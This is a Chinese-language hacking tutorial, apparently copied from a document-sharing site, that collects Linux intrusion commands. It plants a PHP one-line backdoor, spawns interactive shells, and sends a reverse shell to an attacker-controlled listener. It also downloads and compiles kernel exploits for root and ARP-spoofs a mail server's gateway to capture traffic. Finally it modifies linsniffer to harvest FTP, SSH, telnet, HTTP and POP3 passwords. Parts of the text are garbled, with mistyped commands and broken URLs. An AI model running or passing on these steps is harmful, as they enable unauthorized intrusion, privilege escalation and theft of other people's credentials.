黑客linux入侵常用命令汇总

黑客linux入侵常用命令汇总

写个php一句话后门上去：

[jobcruit@wa64-054 rankup_log]$ echo -e "" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php

1.linux的想着先跨站。shell浏览目标站不行，命令行下输入ls -la /users/

2.溢出提权

# python –c ‘impotr pty;pty.spawn(“/bin/sh”);

来得到交互的Shell,一般的系统都默认安装python

输入id

bash-3.2$ id

uid=529(zeicom) gid=525(zeicom) groups=525(zeicom)

bash-3.2$

这里uid=529(zeicom)还不是root权限，

输入uname –r

返回：2.6.18-164.11.1.el5PAE

Linux提权大致可分为，第三方软件漏洞、本地信任特性、内核溢出

找对应的exp, 这里地址整理很齐全可以这里下

http://tools.90sec/

http://sebug/paper/linux_exp/

https://www.360docs.net/doc/2513818808.html,/bitch/exp/

http://exploit-db/search/

命令输入pwd,这个命令是显示当前目录，

先看能不能编译 gcc -help

当前目录就是shell的目录，我在shell上传2.c

反弹shell 到外网自己机器的12345端口

上外网服务器本地监听nc -lvvp 12345

一般都能得到一个apache交互的shell 有时候又不行

这时候

# python -c impotr pty;pty.spawn("/bin/sh");

cd /tmp 进入tmp目录

mkdir Papers 创建一个Papers的目录Papers不显眼

cd Papers 进入Papers目录

pwd 查看当前目录

然后命令输入

wget 下载exp

gcc –o 2 2.c //把2.c编译成可执行文件g++ https://www.360docs.net/doc/2513818808.html, -o keio

chmod +x 2 //给2有执行权限

./2 //执行2, 溢出

gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

确定arpsniffer.c需要先装pcap和libnet。

rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm

wget http://downloads.sourceforge/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000">tar zxvf libpcap-0.8.1.tar.gz

cd libpcap-0.8.1

./configure

make

make install

重新编译arpsniffer.c

gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错，编译成功。

./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗，由于是服务器端，因此我们欺骗网关：（网络环境如下，邮件服务器ip：192.168.0.11 网关：192.168.0.1 本机：192.168.0.77）

./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110

在另一个登录里面用tcpdump监听下

tcpdump -i eth0 host 192.168.0.11

发现有数据，把监听的数据存在文件里面：

tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止，在SecureCRT下用sz命令下载pop.txt到本地，然后用Ethereal分析。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。

先修改linsniffer.c：根据自己的需求监听相应的应用密码。我的如下：

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==80) p=1; /* http */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c

In file included from /usr/include/linux/tcp.h:21,

from linsniffer.c:32:

/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include instead!

不用管警告，直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。

3.利用跨站代码

linux不提权跨目录访问的代码

linux权限多设的比较松的其实，但有的虚拟机还是不能跨目录访问的。

在提不了权的情况下，试试如下代码吧。运气好的话说不定就跨过去了。

代码如下：

$path = stripslashes($_GET[path]);